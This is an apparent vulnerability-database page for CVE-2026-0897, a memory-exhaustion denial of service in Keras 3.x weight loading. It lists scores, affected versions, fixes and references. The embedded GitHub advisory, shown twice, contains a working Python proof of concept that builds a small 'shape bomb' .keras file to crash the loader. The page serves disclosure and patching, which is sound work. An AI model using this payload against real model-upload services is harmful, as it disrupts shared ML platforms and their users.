CVE-2026-0897
Denial of Service in Keras via Excessive Memory Allocation in HDF5 Metadata
Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.1
Denial of Service in Keras via Excessive Memory Allocation in HDF5 Metadata
Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.
- Record
CVE-2026-0897- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H - Weakness
- CWE-770, CWE-770
- Updated
- 2026-11-02
EUVDEUVD-2026-2735
7.1
Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.
- Record
EUVD-2026-2735- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-mgx6-5cf9-rr43
7.1
Keras vulnerable to DoS via Malicious .keras Model (HDF5 Shape Bomb Causes Petabyte Allocation in KerasFileEditor)
Summary
Keras’s model loader (KerasFileEditor) unsafely loads user-supplied .keras model files containing HDF5-based weight files without performing any validation on HDF5 dataset metadata. An attacker can craft a .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape (e.g. (50_000_000, 50_000_000)), but stores only a few bytes. The .keras file remains small (100–400 KB) because HDF5 with gzip compression stores minimal data. During model loading,
Keras executes:
python result[key] = value[()] # loads entire dataset into memory
value[()] instructs h5py to allocate RAM proportional to the dataset’s declared shape – in this case 8.88 PiB of memory. This results in: Immediate memory exhaustion Python / TensorFlow crashes Jupyter kernel kill System instability Full Denial of Service on any workload that processes untrusted .keras models This allows an attacker to crash any environment or pipeline that loads .keras models, including MLOps backends, training services, model upload endpoints, or automated pipelines.
Proof of Concept
// PoC.py
import zipfile
import io
import h5py
import numpy as np
from keras.saving import KerasFileEditor
# Create a malicious .keras model containing a massive HDF5 shape bomb
def create_malicious_keras(path="bomb.keras"):
hdf5_bytes = io.BytesIO()
# Create an HDF5 file with a huge declared dataset shape
with h5py.File(hdf5_bytes, "w") as f:
d = f.create_dataset(
"payload",
shape=(50_000_000, 50_000_000), # Extremely large shape → petabytes on load
dtype="float32",
compression="gzip",
compression_opts=9
)
# Write minimal data so the file stays very small
d[0:1, 0:1] = np.zeros((1, 1), dtype=np.float32)
hdf5_bytes.seek(0)
# Build a valid .keras archive structure
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("config.json", "{}")
z.writestr("metadata.json", "{}")
z.writestr("model.weights.h5", hdf5_bytes.getvalue())
# Generate the malicious model file
create_malicious_keras()
# Trigger the DoS vulnerability when Keras loads the malicious file
KerasFileEditor("bomb.keras")
Expected Result
numpy._core._exceptions._ArrayMemoryError:
Unable to allocate 8.88 PiB for an array with shape (50000000, 50000000)
This crash occurs before any actual model processing, confirming the Denial-of-Service impact.
Impact
This vulnerability allows an attacker to crash any system that loads a malicious .keras model file.
The attacker can:
- Cause immediate memory exhaustion (8+ PiB allocation attempts)
- Crash TensorFlow / Python interpreter
- Kill Jupyter kernels
- Break automated model-upload pipelines
- Crash MLOps servers that process user models
- Deny service to shared GPU/CPU environments
If a platform allows user-uploaded Keras models (training services, inference endpoints, AutoML tools, Kaggle-style platforms), this becomes a Remote Denial of Service vector. Additional PoC Evidence (Video Demonstration) Attached is a real-world proof-of-concept video demonstrating the crash and memory exhaustion when loading the malicious .keras model.
PoC Video (Google Drive): PoC Video
Finding: Critical memory-exhaustion flaw triggered by crafted .keras model files Vector: Malicious metadata causing extreme tensor shape inflation Impact: A 31 KB model forces an 8.88 PiB allocation attempt, immediately killing the process Attack Scenario: Remote DoS on ML model processing pipelines and cloud inference services
Demonstration: The PoC video shows the crash occurring on Google Colab. Loading the malicious model consumed all system RAM and repeatedly terminated the runtime. Severity is high enough that the compute quota dropped from 83 hours → 4 hours after only a few tests.…
- Record
GHSA-mgx6-5cf9-rr43- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-770
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-xfhx-r7ww-5995
7.1
Duplicate Advisory: Google Keras Allocates Resources Without Limits or Throttling in the HDF5 weight loading component
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-mgx6-5cf9-rr43. This link is maintained to preserve external references.
Original Description
Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.12.0 and 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.
- Record
GHSA-xfhx-r7ww-5995- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-770
- Updated
- 2026-11-02
NVD
7.1
Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.
- Record
CVE-2026-0897- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - CVSS 3.1
- 7.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
OSV
7.1
Denial of Service in Keras via Excessive Memory Allocation in HDF5 Metadata
Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.
- Record
CVE-2026-0897- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-770
- Updated
- 2026-11-02
Show 6 moreShow less
OSVDEBIAN-CVE-2026-0897
7.5
Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.
- Record
DEBIAN-CVE-2026-0897- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVGHSA-mgx6-5cf9-rr43
7.1
Keras vulnerable to DoS via Malicious .keras Model (HDF5 Shape Bomb Causes Petabyte Allocation in KerasFileEditor)
Summary
Keras’s model loader (KerasFileEditor) unsafely loads user-supplied .keras model files containing HDF5-based weight files without performing any validation on HDF5 dataset metadata. An attacker can craft a .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape (e.g. (50_000_000, 50_000_000)), but stores only a few bytes. The .keras file remains small (100–400 KB) because HDF5 with gzip compression stores minimal data. During model loading,
Keras executes:
python result[key] = value[()] # loads entire dataset into memory
value[()] instructs h5py to allocate RAM proportional to the dataset’s declared shape – in this case 8.88 PiB of memory. This results in: Immediate memory exhaustion Python / TensorFlow crashes Jupyter kernel kill System instability Full Denial of Service on any workload that processes untrusted .keras models This allows an attacker to crash any environment or pipeline that loads .keras models, including MLOps backends, training services, model upload endpoints, or automated pipelines.
Proof of Concept
// PoC.py
import zipfile
import io
import h5py
import numpy as np
from keras.saving import KerasFileEditor
# Create a malicious .keras model containing a massive HDF5 shape bomb
def create_malicious_keras(path="bomb.keras"):
hdf5_bytes = io.BytesIO()
# Create an HDF5 file with a huge declared dataset shape
with h5py.File(hdf5_bytes, "w") as f:
d = f.create_dataset(
"payload",
shape=(50_000_000, 50_000_000), # Extremely large shape → petabytes on load
dtype="float32",
compression="gzip",
compression_opts=9
)
# Write minimal data so the file stays very small
d[0:1, 0:1] = np.zeros((1, 1), dtype=np.float32)
hdf5_bytes.seek(0)
# Build a valid .keras archive structure
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("config.json", "{}")
z.writestr("metadata.json", "{}")
z.writestr("model.weights.h5", hdf5_bytes.getvalue())
# Generate the malicious model file
create_malicious_keras()
# Trigger the DoS vulnerability when Keras loads the malicious file
KerasFileEditor("bomb.keras")
Expected Result
numpy._core._exceptions._ArrayMemoryError:
Unable to allocate 8.88 PiB for an array with shape (50000000, 50000000)
This crash occurs before any actual model processing, confirming the Denial-of-Service impact.
Impact
This vulnerability allows an attacker to crash any system that loads a malicious .keras model file.
The attacker can:
- Cause immediate memory exhaustion (8+ PiB allocation attempts)
- Crash TensorFlow / Python interpreter
- Kill Jupyter kernels
- Break automated model-upload pipelines
- Crash MLOps servers that process user models
- Deny service to shared GPU/CPU environments
If a platform allows user-uploaded Keras models (training services, inference endpoints, AutoML tools, Kaggle-style platforms), this becomes a Remote Denial of Service vector. Additional PoC Evidence (Video Demonstration) Attached is a real-world proof-of-concept video demonstrating the crash and memory exhaustion when loading the malicious .keras model.
PoC Video (Google Drive): PoC Video
Finding: Critical memory-exhaustion flaw triggered by crafted .keras model files Vector: Malicious metadata causing extreme tensor shape inflation Impact: A 31 KB model forces an 8.88 PiB allocation attempt, immediately killing the process Attack Scenario: Remote DoS on ML model processing pipelines and cloud inference services
Demonstration: The PoC video shows the crash occurring on Google Colab. Loading the malicious model consumed all system RAM and repeatedly terminated the runtime. Severity is high enough that the compute quota dropped from 83 hours → 4 hours after only a few tests.…
- Record
GHSA-mgx6-5cf9-rr43- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-770
- Updated
- 2026-11-02
OSVGHSA-xfhx-r7ww-5995
7.1
Duplicate Advisory: Google Keras Allocates Resources Without Limits or Throttling in the HDF5 weight loading component
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-mgx6-5cf9-rr43. This link is maintained to preserve external references.
Original Description
Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.12.0 and 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.
- Record
GHSA-xfhx-r7ww-5995- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-770
- Updated
- 2026-11-02
OSVPYSEC-2026-73
7.5
Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.
- Record
PYSEC-2026-73- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-0897
7.1
Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.
- Record
UBUNTU-CVE-2026-0897- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVAZL-74631 No score
CVE-2026-0897 affecting package keras for versions less than 3.3.3-6
Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.
- Record
AZL-74631- Updated
- 2026-11-05
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
kerasPyPI |
3.0.0 to 3.12.0 | 3.12.1 |
kerasPyPI |
3.13.0 up to 3.13.2 | 3.13.2 |
kerasAzure Linux:3 |
before 3.3.3-6 | 3.3.3-6 |
kerasDebian:11 |
All versions, plus listed versions 2.3.1+dfsg-32.3.1+dfsg2-1 |
None known |
kerasPyPI |
3.0.0 up to 3.12.1, plus listed versions 3.0.13.0.23.0.33.0.43.0.5 Show 23 moreShow less3.1.03.1.13.10.03.11.03.11.13.11.23.11.33.12.03.2.03.2.13.3.03.3.13.3.23.3.33.4.03.4.13.5.03.6.03.7.03.8.03.9.03.9.13.9.2 |
3.12.1 |
kerasPyPI |
3.13.0 up to 3.13.2, plus listed versions 3.13.1 |
3.13.2 |
kerasPyPI |
3.0.0 up to 3.13.1, plus listed versions 3.0.13.0.23.0.33.0.43.0.5 Show 27 moreShow less3.1.03.1.13.10.03.11.03.11.13.11.23.11.33.12.03.12.13.12.23.12.33.13.03.2.03.2.13.3.03.3.13.3.23.3.33.4.03.4.13.5.03.6.03.7.03.8.03.9.03.9.13.9.2 |
3.13.1 |
kerasUbuntu:18.04:LTS |
All versions, plus listed versions 1.0.7-22.1.1-1 |
None known |
kerasUbuntu:20.04:LTS |
All versions, plus listed versions 2.2.4-1 |
None known |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | HyperPS/CVE-2026-0897 | 2026-03-29 |
History
| Recorded | Changed | Sources |
|---|---|---|
| facts | OSV | |
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-0897 is a high vulnerability (CVSS 7.1) in Google Keras, published January 15, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.33%, the 26th percentile. Fixed in keras 3.12.1.
References
github.com/keras-team/keras/pull/21880
access.redhat.com/security/cve/CVE-2026-0897
bugzilla.redhat.com/show_bug.cgi?id=2430027
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-0897.json
access.redhat.com/errata/RHSA-2026:3782
access.redhat.com/errata/RHSA-2026:3713
Show 14 moreShow less
access.redhat.com/errata/RHSA-2026:4271
github.com/keras-team/keras/security/advisories/GHSA-mgx6-5cf9-rr43
nvd.nist.gov/vuln/detail/CVE-2026-0897
github.com/keras-team/keras/pull/22081
github.com/keras-team/keras/commit/7360d4f0d764fbb1fa9c6408fe53da41974dd4f6
github.com/keras-team/keras/commit/f704c887bf459b42769bfc8a9182f838009afddb
github.com/pypa/advisory-database/tree/main/vulns/keras/PYSEC-2026-73.yaml
github.com/advisories/GHSA-mgx6-5cf9-rr43
github.com/advisories/GHSA-xfhx-r7ww-5995
github.com/CVEProject/cvelistV5/tree/main/cves/2026/0xxx/CVE-2026-0897.json
security-tracker.debian.org/tracker/CVE-2026-0897
github.com/keras-team/keras
ubuntu.com/security/CVE-2026-0897
cve.org/CVERecord?id=CVE-2026-0897
Left out here: the rest of 2 source descriptions. The JSON record has them.